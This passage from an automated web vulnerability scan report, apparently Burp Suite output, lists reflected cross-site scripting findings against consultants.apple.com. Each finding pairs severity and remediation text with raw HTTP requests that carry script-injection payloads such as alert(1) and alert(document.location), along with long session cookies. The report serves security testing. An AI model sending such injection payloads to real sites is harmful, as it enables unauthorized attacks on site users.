s_sq=applehome%3D%2526pid%253Dapple%252520-%252520index%252520(us)%2526pidt%253D1%2526oid%253Dhttp%25253A%25252F%25252Fwww.apple.com%25252Ficloud%25252F_1%2526oidt%253D1%2526ot%253DA%2526oi%253D1%26applesupport%3D%2526pid%253Dacs%25253A%25253Akb%25253A%25253Adl%25253A%25253Adl1045%25253A%25253Asafari%2525204%252520(mac%252520os%252520x%25252010.4)%25253A%25253Asafari%2525204.1%252520for%252520tiger%252520(us-en)%2526pidt%253D1%2526oid%253Dhttp%25253A%25252F%25252Fwww.apple.com%25252F_1%2526oidt%253D1%2526ot%253DA%2526oi%253D1; s_orientationHeight=652; s_invisit_us=developer%3Dtrue%3Bsupport%3Dtrue%3Bhomepage%3Dtrue%3Bicloud%3Dtrue%3B; __utma=99260172.2085989018.1310696674.1310696674.1310696674.1; __utmb=99260172.4.10.1310696674; __utmc=99260172; __utmz=99260172.1310696674.1.1.utmcsr=fakereferrerdominator.com|utmccn=(referral)|utmcmd=referral|utmcct=/referrerPathName

Response

HTTP/1.1 200 OK
Date: Fri, 15 Jul 2011 02:28:17 GMT
Server: Apache/2.2.13 (Unix) mod_ssl/2.2.13 OpenSSL/0.9.8k DAV/2 PHP/5.3.0 mod_fastcgi/2.4.2
X-Powered-By: PHP/5.3.0
Cache-Control: max-age=60
Expires: Fri, 15 Jul 2011 02:29:17 GMT
MS-Author-Via: DAV
Content-Type: text/html
Content-Length: 15960

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html lang="en-us">
<head>
<title>Apple Consultants Network</title>
<meta name="Category" co
...[SNIP]...
<form name="US" method="post" action="/services.php/e5186"><script>alert(1)</script>80ee69661ff/images/button-locate.gif" class="search" id="g-search">
...[SNIP]...

1.24. http://consultants.apple.com/services.php/fca6c%22%3E%3Cscript%3Ealert(document.location)%3C/images/button-locate.gif [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://consultants.apple.com
Path:   /services.php/fca6c%22%3E%3Cscript%3Ealert(document.location)%3C/images/button-locate.gif

Issue detail

The value of REST URL parameter 2 is copied into a JavaScript expression which is not encapsulated in any quotation marks. The payload d2449%3balert(1)//f2f64c082f2 was submitted in the REST URL parameter 2. This input was echoed as d2449;alert(1)//f2f64c082f2 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /services.php/fca6c%22%3E%3Cscript%3Ealert(document.location)%3Cd2449%3balert(1)//f2f64c082f2/images/button-locate.gif HTTP/1.1
Host: consultants.apple.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://consultants.apple.com/services.php/fca6c%22%3E%3Cscript%3Ealert(document.location)%3C/script%3Ec29f000149b
Cookie: s_cvp35b=%5B%5B'www.fakereferrerdominator.com'%2C'1310693445477'%5D%5D; s_vnum_us=ch%3Dsupport%26vn%3D6%3Bch%3Dsafari%26vn%3D1%3Bch%3Ddeveloper%26vn%3D2%3Bch%3Dbuy%26vn%3D1%3Bch%3Dsearch%26vn%3D1%3Bch%3Dhomepage%26vn%3D1%3Bch%3Dicloud%26vn%3D1%3B; s_vi=[CS]v1|27065B988515A4F3-400001A7E000BF83[CE]; POD=us~en; ac_search=xss%7C%7C%7C%7Cxssxss; dssid2=ab5a5410-d10e-4162-a971-27aa89f1d005; ac_survey=1; dfa_cookie=appleglobal%2Capplesupport%2Cappleussearch%2Cappleusdeveloper%2Capplehome%2Cappleusicloud%2Capplewwevents; s_pv=icloud%20-%20index%20(us); s_ppv=icloud%2520-%2520index%2520%2528us%2529%2C44%2C44%2C652%2C; s_pathLength=support%3D33%2Csearch%3D1%2Cdeveloper%3D1%2Chomepage%3D1%2Cicloud%3D1%2C; ccl=p7NKCnNizOBPByMB4x05+VK70oI9PA82i6aVqCM5CVI0wsINS0SjaR+mcl8QS9H1PR0fwkamgXRctU7+jsVnq6e+YW0XclJ5vt41GKzFKIdREt5Zp86dKssGVRCO+nElD/qNmEIsJWxI/0JyQoMxq5rn/azi66ks2R8n37hER9Z8NIpKhG4OnsiE29cr708NokHoU/ERCXNzccKjL+dvTsn+CPVPmT8Ep101BJK3Oqhfj1qxTt4bEJrqwXUu4n1mW/3n1t3Y8aleRMDIhhY2XSpZBQ4thPZttMacI4GzSqvWpGY5w/vOf0SbcvC64wRiNjg3oMH1drozuoHF8p90603/aR7ZrjX8Ag7/eCC6f1bUzGmdVOXrEVjDxe3hOFAHk2S8Bh6nxuy92H2Pa2cijWMKs25vS07G9k6kQ31kSaeI+Dzg4NzwyoW/XO4BCQ3VBFJSJb4wq1XGYXw15I8GekQD00Ql5Ey5N3nglqofC53EvP5vmle8nQiyBtrsGK7zhC5eYBIE83dy6sNvYd6cdaejXs27Y4podDMAqPwa2sTLik5KFF67QqQWDJzmBzY7; geo=US; ac_history=%7B%22search%22%3A%5B%5B%22xss%22%2C%22en_US%22%2C1310696158000%5D%2C%5B%22xss%22%2C%22en_US%22%2C1310695987000%5D%2C%5B%22xssxss%22%2C%22en_US%22%2C1310695964000%5D%2C%5B%22xss%22%2C%22en_US%22%2C1310695956000%5D%2C%5B%22xss%22%2C%22en_US%22%2C1310695935000%5D%5D%2C%22kb%22%3A%5B%5B%22DL1045%22%2C%22Safari%204.1%20for%20Tiger%22%2C%22en_US%22%2C1310696242000%2C%22search%22%5D%5D%2C%22help%22%3A%5B%5D%2C%22psp%22%3A%5B%5D%2C%22offer_reason%22%3A%7B%7D%2C%22total_count%22%3A%7B%22searches%22%3A16%2C%22last_search%22%3A1310696158000%2C%22kbs%22%3A1%2C%22last_kb%22%3A1310696242000%7D%7D; s_cc=true; s_orientation=%5B%5BB%5D%5D; s_ria=Flash%20Not%20Detected%7C; s_v35=www.fakereferrerdominator.com; s_sq=applehome%3D%2526pid%253Dapple%252520-%252520index%252520(us)%2526pidt%253D1%2526oid%253Dhttp%25253A%25252F%25252Fwww.apple.com%25252Ficloud%25252F_1%2526oidt%253D1%2526ot%253DA%2526oi%253D1%26applesupport%3D%2526pid%253Dacs%25253A%25253Akb%25253A%25253Adl%25253A%25253Adl1045%25253A%25253Asafari%2525204%252520(mac%252520os%252520x%25252010.4)%25253A%25253Asafari%2525204.1%252520for%252520tiger%252520(us-en)%2526pidt%253D1%2526oid%253Dhttp%25253A%25252F%25252Fwww.apple.com%25252F_1%2526oidt%253D1%2526ot%253DA%2526oi%253D1; s_orientationHeight=652; s_invisit_us=developer%3Dtrue%3Bsupport%3Dtrue%3Bhomepage%3Dtrue%3Bicloud%3Dtrue%3B; __utma=99260172.2085989018.1310696674.1310696674.1310696674.1; __utmb=99260172.4.10.1310696674; __utmc=99260172; __utmz=99260172.1310696674.1.1.utmcsr=fakereferrerdominator.com|utmccn=(referral)|utmcmd=referral|utmcct=/referrerPathName

Response

HTTP/1.1 200 OK
Date: Fri, 15 Jul 2011 02:28:19 GMT
Server: Apache/2.2.13 (Unix) mod_ssl/2.2.13 OpenSSL/0.9.8k DAV/2 PHP/5.3.0 mod_fastcgi/2.4.2
X-Powered-By: PHP/5.3.0
Cache-Control: max-age=60
Expires: Fri, 15 Jul 2011 02:29:19 GMT
MS-Author-Via: DAV
Content-Type: text/html
Content-Length: 15984

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html lang="en-us">
<head>
<title>Apple Consultants Network</title>
<meta name="Category" co
...[SNIP]...
<d2449;alert(1)//f2f64c082f2/images/button-locate.gif" class="search" id="g-search">
...[SNIP]...

1.25. http://consultants.apple.com/services.php/fca6c%22%3E%3Cscript%3Ealert(document.location)%3C/images/button-locate.gif [REST URL parameter 3]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://consultants.apple.com
Path:   /services.php/fca6c%22%3E%3Cscript%3Ealert(document.location)%3C/images/button-locate.gif

Issue detail

The value of REST URL parameter 3 is copied into a JavaScript expression which is not encapsulated in any quotation marks. The payload 8cc69%3balert(1)//646aa817ddf was submitted in the REST URL parameter 3. This input was echoed as 8cc69;alert(1)//646aa817ddf in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /services.php/fca6c%22%3E%3Cscript%3Ealert(document.location)%3C/images8cc69%3balert(1)//646aa817ddf/button-locate.gif HTTP/1.1
Host: consultants.apple.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://consultants.apple.com/services.php/fca6c%22%3E%3Cscript%3Ealert(document.location)%3C/script%3Ec29f000149b
Cookie: s_cvp35b=%5B%5B'www.fakereferrerdominator.com'%2C'1310693445477'%5D%5D; s_vnum_us=ch%3Dsupport%26vn%3D6%3Bch%3Dsafari%26vn%3D1%3Bch%3Ddeveloper%26vn%3D2%3Bch%3Dbuy%26vn%3D1%3Bch%3Dsearch%26vn%3D1%3Bch%3Dhomepage%26vn%3D1%3Bch%3Dicloud%26vn%3D1%3B; s_vi=[CS]v1|27065B988515A4F3-400001A7E000BF83[CE]; POD=us~en; ac_search=xss%7C%7C%7C%7Cxssxss; dssid2=ab5a5410-d10e-4162-a971-27aa89f1d005; ac_survey=1; dfa_cookie=appleglobal%2Capplesupport%2Cappleussearch%2Cappleusdeveloper%2Capplehome%2Cappleusicloud%2Capplewwevents; s_pv=icloud%20-%20index%20(us); s_ppv=icloud%2520-%2520index%2520%2528us%2529%2C44%2C44%2C652%2C; s_pathLength=support%3D33%2Csearch%3D1%2Cdeveloper%3D1%2Chomepage%3D1%2Cicloud%3D1%2C; ccl=p7NKCnNizOBPByMB4x05+VK70oI9PA82i6aVqCM5CVI0wsINS0SjaR+mcl8QS9H1PR0fwkamgXRctU7+jsVnq6e+YW0XclJ5vt41GKzFKIdREt5Zp86dKssGVRCO+nElD/qNmEIsJWxI/0JyQoMxq5rn/azi66ks2R8n37hER9Z8NIpKhG4OnsiE29cr708NokHoU/ERCXNzccKjL+dvTsn+CPVPmT8Ep101BJK3Oqhfj1qxTt4bEJrqwXUu4n1mW/3n1t3Y8aleRMDIhhY2XSpZBQ4thPZttMacI4GzSqvWpGY5w/vOf0SbcvC64wRiNjg3oMH1drozuoHF8p90603/aR7ZrjX8Ag7/eCC6f1bUzGmdVOXrEVjDxe3hOFAHk2S8Bh6nxuy92H2Pa2cijWMKs25vS07G9k6kQ31kSaeI+Dzg4NzwyoW/XO4BCQ3VBFJSJb4wq1XGYXw15I8GekQD00Ql5Ey5N3nglqofC53EvP5vmle8nQiyBtrsGK7zhC5eYBIE83dy6sNvYd6cdaejXs27Y4podDMAqPwa2sTLik5KFF67QqQWDJzmBzY7; geo=US; ac_history=%7B%22search%22%3A%5B%5B%22xss%22%2C%22en_US%22%2C1310696158000%5D%2C%5B%22xss%22%2C%22en_US%22%2C1310695987000%5D%2C%5B%22xssxss%22%2C%22en_US%22%2C1310695964000%5D%2C%5B%22xss%22%2C%22en_US%22%2C1310695956000%5D%2C%5B%22xss%22%2C%22en_US%22%2C1310695935000%5D%5D%2C%22kb%22%3A%5B%5B%22DL1045%22%2C%22Safari%204.1%20for%20Tiger%22%2C%22en_US%22%2C1310696242000%2C%22search%22%5D%5D%2C%22help%22%3A%5B%5D%2C%22psp%22%3A%5B%5D%2C%22offer_reason%22%3A%7B%7D%2C%22total_count%22%3A%7B%22searches%22%3A16%2C%22last_search%22%3A1310696158000%2C%22kbs%22%3A1%2C%22last_kb%22%3A1310696242000%7D%7D; s_cc=true; s_orientation=%5B%5BB%5D%5D; s_ria=Flash%20Not%20Detected%7C; s_v35=www.fakereferrerdominator.com; s_sq=applehome%3D%2526pid%253Dapple%252520-%252520index%252520(us)%2526pidt%253D1%2526oid%253Dhttp%25253A%25252F%25252Fwww.apple.com%25252Ficloud%25252F_1%2526oidt%253D1%2526ot%253DA%2526oi%253D1%26applesupport%3D%2526pid%253Dacs%25253A%25253Akb%25253A%25253Adl%25253A%25253Adl1045%25253A%25253Asafari%2525204%252520(mac%252520os%252520x%25252010.4)%25253A%25253Asafari%2525204.1%252520for%252520tiger%252520(us-en)%2526pidt%253D1%2526oid%253Dhttp%25253A%25252F%25252Fwww.apple.com%25252F_1%2526oidt%253D1%2526ot%253DA%2526oi%253D1; s_orientationHeight=652; s_invisit_us=developer%3Dtrue%3Bsupport%3Dtrue%3Bhomepage%3Dtrue%3Bicloud%3Dtrue%3B; __utma=99260172.2085989018.1310696674.1310696674.1310696674.1; __utmb=99260172.4.10.1310696674; __utmc=99260172; __utmz=99260172.1310696674.1.1.utmcsr=fakereferrerdominator.com|utmccn=(referral)|utmcmd=referral|utmcct=/referrerPathName

Response

HTTP/1.1 200 OK
Date: Fri, 15 Jul 2011 02:28:20 GMT
Server: Apache/2.2.13 (Unix) mod_ssl/2.2.13 OpenSSL/0.9.8k DAV/2 PHP/5.3.0 mod_fastcgi/2.4.2
X-Powered-By: PHP/5.3.0
Cache-Control: max-age=60
Expires: Fri, 15 Jul 2011 02:29:20 GMT
MS-Author-Via: DAV
Content-Type: text/html
Content-Length: 15984

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html lang="en-us">
<head>
<title>Apple Consultants Network</title>
<meta name="Category" co
...[SNIP]...
</images8cc69;alert(1)//646aa817ddf/button-locate.gif" class="search" id="g-search">
...[SNIP]...

1.26. http://consultants.apple.com/services.php/fca6c%22%3E%3Cscript%3Ealert(document.location)%3C/images/button-locate.gif [REST URL parameter 4]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://consultants.apple.com
Path:   /services.php/fca6c%22%3E%3Cscript%3Ealert(document.location)%3C/images/button-locate.gif

Issue detail

The value of REST URL parameter 4 is copied into a JavaScript expression which is not encapsulated in any quotation marks. The payload 9e348%3balert(1)//a6613009675 was submitted in the REST URL parameter 4. This input was echoed as 9e348;alert(1)//a6613009675 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /services.php/fca6c%22%3E%3Cscript%3Ealert(document.location)%3C/images/button-locate.gif9e348%3balert(1)//a6613009675 HTTP/1.1
Host: consultants.apple.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://consultants.apple.com/services.php/fca6c%22%3E%3Cscript%3Ealert(document.location)%3C/script%3Ec29f000149b
Cookie: s_cvp35b=%5B%5B'www.fakereferrerdominator.com'%2C'1310693445477'%5D%5D; s_vnum_us=ch%3Dsupport%26vn%3D6%3Bch%3Dsafari%26vn%3D1%3Bch%3Ddeveloper%26vn%3D2%3Bch%3Dbuy%26vn%3D1%3Bch%3Dsearch%26vn%3D1%3Bch%3Dhomepage%26vn%3D1%3Bch%3Dicloud%26vn%3D1%3B; s_vi=[CS]v1|27065B988515A4F3-400001A7E000BF83[CE]; POD=us~en; ac_search=xss%7C%7C%7C%7Cxssxss; dssid2=ab5a5410-d10e-4162-a971-27aa89f1d005; ac_survey=1; dfa_cookie=appleglobal%2Capplesupport%2Cappleussearch%2Cappleusdeveloper%2Capplehome%2Cappleusicloud%2Capplewwevents; s_pv=icloud%20-%20index%20(us); s_ppv=icloud%2520-%2520index%2520%2528us%2529%2C44%2C44%2C652%2C; s_pathLength=support%3D33%2Csearch%3D1%2Cdeveloper%3D1%2Chomepage%3D1%2Cicloud%3D1%2C; ccl=p7NKCnNizOBPByMB4x05+VK70oI9PA82i6aVqCM5CVI0wsINS0SjaR+mcl8QS9H1PR0fwkamgXRctU7+jsVnq6e+YW0XclJ5vt41GKzFKIdREt5Zp86dKssGVRCO+nElD/qNmEIsJWxI/0JyQoMxq5rn/azi66ks2R8n37hER9Z8NIpKhG4OnsiE29cr708NokHoU/ERCXNzccKjL+dvTsn+CPVPmT8Ep101BJK3Oqhfj1qxTt4bEJrqwXUu4n1mW/3n1t3Y8aleRMDIhhY2XSpZBQ4thPZttMacI4GzSqvWpGY5w/vOf0SbcvC64wRiNjg3oMH1drozuoHF8p90603/aR7ZrjX8Ag7/eCC6f1bUzGmdVOXrEVjDxe3hOFAHk2S8Bh6nxuy92H2Pa2cijWMKs25vS07G9k6kQ31kSaeI+Dzg4NzwyoW/XO4BCQ3VBFJSJb4wq1XGYXw15I8GekQD00Ql5Ey5N3nglqofC53EvP5vmle8nQiyBtrsGK7zhC5eYBIE83dy6sNvYd6cdaejXs27Y4podDMAqPwa2sTLik5KFF67QqQWDJzmBzY7; geo=US; ac_history=%7B%22search%22%3A%5B%5B%22xss%22%2C%22en_US%22%2C1310696158000%5D%2C%5B%22xss%22%2C%22en_US%22%2C1310695987000%5D%2C%5B%22xssxss%22%2C%22en_US%22%2C1310695964000%5D%2C%5B%22xss%22%2C%22en_US%22%2C1310695956000%5D%2C%5B%22xss%22%2C%22en_US%22%2C1310695935000%5D%5D%2C%22kb%22%3A%5B%5B%22DL1045%22%2C%22Safari%204.1%20for%20Tiger%22%2C%22en_US%22%2C1310696242000%2C%22search%22%5D%5D%2C%22help%22%3A%5B%5D%2C%22psp%22%3A%5B%5D%2C%22offer_reason%22%3A%7B%7D%2C%22total_count%22%3A%7B%22searches%22%3A16%2C%22last_search%22%3A1310696158000%2C%22kbs%22%3A1%2C%22last_kb%22%3A1310696242000%7D%7D; s_cc=true; s_orientation=%5B%5BB%5D%5D; s_ria=Flash%20Not%20Detected%7C; s_v35=www.fakereferrerdominator.com; s_sq=applehome%3D%2526pid%253Dapple%252520-%252520index%252520(us)%2526pidt%253D1%2526oid%253Dhttp%25253A%25252F%25252Fwww.apple.com%25252Ficloud%25252F_1%2526oidt%253D1%2526ot%253DA%2526oi%253D1%26applesupport%3D%2526pid%253Dacs%25253A%25253Akb%25253A%25253Adl%25253A%25253Adl1045%25253A%25253Asafari%2525204%252520(mac%252520os%252520x%25252010.4)%25253A%25253Asafari%2525204.1%252520for%252520tiger%252520(us-en)%2526pidt%253D1%2526oid%253Dhttp%25253A%25252F%25252Fwww.apple.com%25252F_1%2526oidt%253D1%2526ot%253DA%2526oi%253D1; s_orientationHeight=652; s_invisit_us=developer%3Dtrue%3Bsupport%3Dtrue%3Bhomepage%3Dtrue%3Bicloud%3Dtrue%3B; __utma=99260172.2085989018.1310696674.1310696674.1310696674.1; __utmb=99260172.4.10.1310696674; __utmc=99260172; __utmz=99260172.1310696674.1.1.utmcsr=fakereferrerdominator.com|utmccn=(referral)|utmcmd=referral|utmcct=/referrerPathName

Response

HTTP/1.1 200 OK
Date: Fri, 15 Jul 2011 02:28:25 GMT
Server: Apache/2.2.13 (Unix) mod_ssl/2.2.13 OpenSSL/0.9.8k DAV/2 PHP/5.3.0 mod_fastcgi/2.4.2
X-Powered-By: PHP/5.3.0
Cache-Control: max-age=60
Expires: Fri, 15 Jul 2011 02:29:25 GMT
MS-Author-Via: DAV
Content-Type: text/html
Content-Length: 15984

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html lang="en-us">
<head>
<title>Apple Consultants Network</title>
<meta name="Category" co
...[SNIP]...
</images/button-locate.gif9e348;alert(1)//a6613009675" class="search" id="g-search">
...[SNIP]...

1.27. http://consultants.apple.com/services.php/fca6c%22%3E%3Cscript%3Ealert(document.location)%3C/images/hero-2.jpg [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://consultants.apple.com
Path:   /services.php/fca6c%22%3E%3Cscript%3Ealert(document.location)%3C/images/hero-2.jpg

Issue detail

The value of REST URL parameter 2 is copied into a JavaScript expression which is not encapsulated in any quotation marks. The payload 191f8%3balert(1)//cd4f3a3c586 was submitted in the REST URL parameter 2. This input was echoed as 191f8;alert(1)//cd4f3a3c586 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /services.php/fca6c%22%3E%3Cscript%3Ealert(document.location)%3C191f8%3balert(1)//cd4f3a3c586/images/hero-2.jpg HTTP/1.1
Host: consultants.apple.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://consultants.apple.com/services.php/fca6c%22%3E%3Cscript%3Ealert(document.location)%3C/script%3Ec29f000149b
Cookie: s_cvp35b=%5B%5B'www.fakereferrerdominator.com'%2C'1310693445477'%5D%5D; s_vnum_us=ch%3Dsupport%26vn%3D6%3Bch%3Dsafari%26vn%3D1%3Bch%3Ddeveloper%26vn%3D2%3Bch%3Dbuy%26vn%3D1%3Bch%3Dsearch%26vn%3D1%3Bch%3Dhomepage%26vn%3D1%3Bch%3Dicloud%26vn%3D1%3B; s_vi=[CS]v1|27065B988515A4F3-400001A7E000BF83[CE]; POD=us~en; ac_search=xss%7C%7C%7C%7Cxssxss; dssid2=ab5a5410-d10e-4162-a971-27aa89f1d005; ac_survey=1; dfa_cookie=appleglobal%2Capplesupport%2Cappleussearch%2Cappleusdeveloper%2Capplehome%2Cappleusicloud%2Capplewwevents; s_pv=icloud%20-%20index%20(us); s_ppv=icloud%2520-%2520index%2520%2528us%2529%2C44%2C44%2C652%2C; s_pathLength=support%3D33%2Csearch%3D1%2Cdeveloper%3D1%2Chomepage%3D1%2Cicloud%3D1%2C; ccl=p7NKCnNizOBPByMB4x05+VK70oI9PA82i6aVqCM5CVI0wsINS0SjaR+mcl8QS9H1PR0fwkamgXRctU7+jsVnq6e+YW0XclJ5vt41GKzFKIdREt5Zp86dKssGVRCO+nElD/qNmEIsJWxI/0JyQoMxq5rn/azi66ks2R8n37hER9Z8NIpKhG4OnsiE29cr708NokHoU/ERCXNzccKjL+dvTsn+CPVPmT8Ep101BJK3Oqhfj1qxTt4bEJrqwXUu4n1mW/3n1t3Y8aleRMDIhhY2XSpZBQ4thPZttMacI4GzSqvWpGY5w/vOf0SbcvC64wRiNjg3oMH1drozuoHF8p90603/aR7ZrjX8Ag7/eCC6f1bUzGmdVOXrEVjDxe3hOFAHk2S8Bh6nxuy92H2Pa2cijWMKs25vS07G9k6kQ31kSaeI+Dzg4NzwyoW/XO4BCQ3VBFJSJb4wq1XGYXw15I8GekQD00Ql5Ey5N3nglqofC53EvP5vmle8nQiyBtrsGK7zhC5eYBIE83dy6sNvYd6cdaejXs27Y4podDMAqPwa2sTLik5KFF67QqQWDJzmBzY7; geo=US; ac_history=%7B%22search%22%3A%5B%5B%22xss%22%2C%22en_US%22%2C1310696158000%5D%2C%5B%22xss%22%2C%22en_US%22%2C1310695987000%5D%2C%5B%22xssxss%22%2C%22en_US%22%2C1310695964000%5D%2C%5B%22xss%22%2C%22en_US%22%2C1310695956000%5D%2C%5B%22xss%22%2C%22en_US%22%2C1310695935000%5D%5D%2C%22kb%22%3A%5B%5B%22DL1045%22%2C%22Safari%204.1%20for%20Tiger%22%2C%22en_US%22%2C1310696242000%2C%22search%22%5D%5D%2C%22help%22%3A%5B%5D%2C%22psp%22%3A%5B%5D%2C%22offer_reason%22%3A%7B%7D%2C%22total_count%22%3A%7B%22searches%22%3A16%2C%22last_search%22%3A1310696158000%2C%22kbs%22%3A1%2C%22last_kb%22%3A1310696242000%7D%7D; s_cc=true; s_orientation=%5B%5BB%5D%5D; s_ria=Flash%20Not%20Detected%7C; s_v35=www.fakereferrerdominator.com; s_sq=applehome%3D%2526pid%253Dapple%252520-%252520index%252520(us)%2526pidt%253D1%2526oid%253Dhttp%25253A%25252F%25252Fwww.apple.com%25252Ficloud%25252F_1%2526oidt%253D1%2526ot%253DA%2526oi%253D1%26applesupport%3D%2526pid%253Dacs%25253A%25253Akb%25253A%25253Adl%25253A%25253Adl1045%25253A%25253Asafari%2525204%252520(mac%252520os%252520x%25252010.4)%25253A%25253Asafari%2525204.1%252520for%252520tiger%252520(us-en)%2526pidt%253D1%2526oid%253Dhttp%25253A%25252F%25252Fwww.apple.com%25252F_1%2526oidt%253D1%2526ot%253DA%2526oi%253D1; s_orientationHeight=652; s_invisit_us=developer%3Dtrue%3Bsupport%3Dtrue%3Bhomepage%3Dtrue%3Bicloud%3Dtrue%3B; __utma=99260172.2085989018.1310696674.1310696674.1310696674.1; __utmb=99260172.4.10.1310696674; __utmc=99260172; __utmz=99260172.1310696674.1.1.utmcsr=fakereferrerdominator.com|utmccn=(referral)|utmcmd=referral|utmcct=/referrerPathName

Response

HTTP/1.1 200 OK
Date: Fri, 15 Jul 2011 02:27:39 GMT
Server: Apache/2.2.13 (Unix) mod_ssl/2.2.13 OpenSSL/0.9.8k DAV/2 PHP/5.3.0 mod_fastcgi/2.4.2
X-Powered-By: PHP/5.3.0
Cache-Control: max-age=60
Expires: Fri, 15 Jul 2011 02:28:39 GMT
MS-Author-Via: DAV
Content-Type: text/html
Content-Length: 15977

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html lang="en-us">
<head>
<title>Apple Consultants Network</title>
<meta name="Category" co
...[SNIP]...
<191f8;alert(1)//cd4f3a3c586/images/hero-2.jpg" class="search" id="g-search">
...[SNIP]...

1.28. http://consultants.apple.com/services.php/fca6c%22%3E%3Cscript%3Ealert(document.location)%3C/images/hero-2.jpg [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://consultants.apple.com
Path:   /services.php/fca6c%22%3E%3Cscript%3Ealert(document.location)%3C/images/hero-2.jpg

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 65fc3"><script>alert(1)</script>5e642d91452 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /services.php/65fc3"><script>alert(1)</script>5e642d91452/images/hero-2.jpg HTTP/1.1
Host: consultants.apple.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://consultants.apple.com/services.php/fca6c%22%3E%3Cscript%3Ealert(document.location)%3C/script%3Ec29f000149b
Cookie: s_cvp35b=%5B%5B'www.fakereferrerdominator.com'%2C'1310693445477'%5D%5D; s_vnum_us=ch%3Dsupport%26vn%3D6%3Bch%3Dsafari%26vn%3D1%3Bch%3Ddeveloper%26vn%3D2%3Bch%3Dbuy%26vn%3D1%3Bch%3Dsearch%26vn%3D1%3Bch%3Dhomepage%26vn%3D1%3Bch%3Dicloud%26vn%3D1%3B; s_vi=[CS]v1|27065B988515A4F3-400001A7E000BF83[CE]; POD=us~en; ac_search=xss%7C%7C%7C%7Cxssxss; dssid2=ab5a5410-d10e-4162-a971-27aa89f1d005; ac_survey=1; dfa_cookie=appleglobal%2Capplesupport%2Cappleussearch%2Cappleusdeveloper%2Capplehome%2Cappleusicloud%2Capplewwevents; s_pv=icloud%20-%20index%20(us); s_ppv=icloud%2520-%2520index%2520%2528us%2529%2C44%2C44%2C652%2C; s_pathLength=support%3D33%2Csearch%3D1%2Cdeveloper%3D1%2Chomepage%3D1%2Cicloud%3D1%2C; 